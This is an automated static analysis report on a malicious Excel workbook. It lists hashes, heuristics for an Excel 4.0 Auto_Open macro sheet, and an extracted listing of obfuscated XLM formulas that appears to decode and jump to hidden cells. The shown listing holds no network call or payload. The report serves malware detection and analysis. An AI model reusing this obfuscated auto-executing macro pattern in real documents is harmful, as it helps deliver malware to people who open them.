Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 42adceb407c25a6a…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-27 11:46:11 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 000b71219bd3bf7f34dd78668455de42 SHA-1: d402cb89a6d04fb85aed145de0fa82784cf32b66 SHA-256: 42adceb407c25a6a9192cba8c924f7ef04294fdde2bf37df3fbab4a0a9a02c7c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6875 bytes
SHA-256: 4891affbfbb176939aa1e5adc98903e1310e12c8cdbd078ec406cea8202f1a68
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  nirRHzURs
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D184 
' 0018     25 LABEL : Cell Value, String Constant - baTqoOVmAG len=0 
' 0018     26 LABEL : Cell Value, String Constant - ccYPUShVDRH len=0 
' 0018     27 LABEL : Cell Value, String Constant - ceoPYKafQzMC len=0 
' 0018     21 LABEL : Cell Value, String Constant - drbPfo len=0 
' 0018     22 LABEL : Cell Value, String Constant - glluteY len=0 
' 0018     25 LABEL : Cell Value, String Constant - GpjssftaBz len=0 
' 0018     21 LABEL : Cell Value, String Constant - ImdPpM len=0 
' 0018     26 LABEL : Cell Value, String Constant - KyyvYaKcNKZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - Msdfv len=0 
' 0018     22 LABEL : Cell Value, String Constant - NaowzTy len=0 
' 0018     26 LABEL : Cell Value, String Constant - NiQXJgOBOaD len=0 
' 0018     24 LABEL : Cell Value, String Constant - nXskEThnp len=0 
' 0018     23 LABEL : Cell Value, String Constant - ppVIXkWN len=0 
' 0018     20 LABEL : Cell Value, String Constant - QCAMa len=0 
' 0018     20 LABEL : Cell Value, String Constant - qmRvZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - syFVPd len=0 
' 0018     20 LABEL : Cell Value, String Constant - uPzxB len=0 
' 0018     23 LABEL : Cell Value, String Constant - VpQCYwIZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - vUblCPIzJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - xjzvI len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  nirRHzURs,R43,"",224.00000000000000000000
'  nirRHzURs,R44,"",-717.00000000000000000000
'  nirRHzURs,R45,"",-857.00000000000000000000
'  nirRHzURs,R46,"",-176.00000000000000000000
'  nirRHzURs,R47,"",-642.00000000000000000000
'  nirRHzURs,R48,"",-425.00000000000000000000
'  nirRHzURs,D91,"SET.NAME("baTqoOVmAG",0+VALUE("0"))",""
'  nirRHzURs,D95,"SET.NAME("KyyvYaKcNKZ",baTqoOVmAG)",""
'  nirRHzURs,D98,"SET.NAME("ppVIXkWN",baTqoOVmAG)",""
'  nirRHzURs,D101,"SET.NAME("nXskEThnp",COUNTA(Msdfv))",""
'  nirRHzURs,D106,"SET.NAME("xjzvI",COUNTA(glluteY))",""
'  nirRHzURs,D110,[],""
'  nirRHzURs,D114,"SET.NAME("drbPfo","")",""
'  nirRHzURs,D117,"KyyvYaKcNKZ",""
'  nirRHzURs,D121,"SET.NAME("NiQXJgOBOaD",HLOOKUP("*",Msdfv,KyyvYaKcNKZ,FALSE))",""
'  nirRHzURs,D125,"NaowzTy",""
'  nirRHzURs,D130,"SET.NAME("syFVPd",baTqoOVmAG)",""
'  nirRHzURs,D132,[],""
'  nirRHzURs,D134,"syFVPd",""
'  nirRHzURs,D136,"qmRvZ",""
'  nirRHzURs,D138,"QCAMa",""
'  nirRHzURs,D140,"uPzxB",""
'  nirRHzURs,D144,"SET.NAME("VpQCYwIZ",VALUE(HLOOKUP("*",glluteY,uPzxB,FALSE)))",""
'  nirRHzURs,D147,"ceoPYKafQzMC",""
'  nirRHzURs,D152,"drbPfo",""
'  nirRHzURs,D155,"ppVIXkWN",""
'  nirRHzURs,D160,NEXT(),""
'  nirRHzURs,D165,"GpjssftaBz",""
'  nirRHzURs,D169,[],""
'  nirRHzURs,D174,"ImdPpM",""
'  nirRHzURs,D176,NEXT(),""
'  nirRHzURs,D181,RETURN(),""
'  nirRHzURs,D212,"SET.NAME("vUblCPIzJ",D91)",""
'  nirRHzURs,D214,"Msdfv",""
'  nirRHzURs,D218,"SET.NAME("glluteY",R68C15)",""
'  nirRHzURs,D220,"SET.NAME("ImdPpM",228)",""
'  nirRHzURs,D225,"SET.NAME("ccYPUShVDRH",4)",""
'  nirRHzURs,D227,vUblCPIzJ(),""
'  nirRHzURs,D228,HALT(),""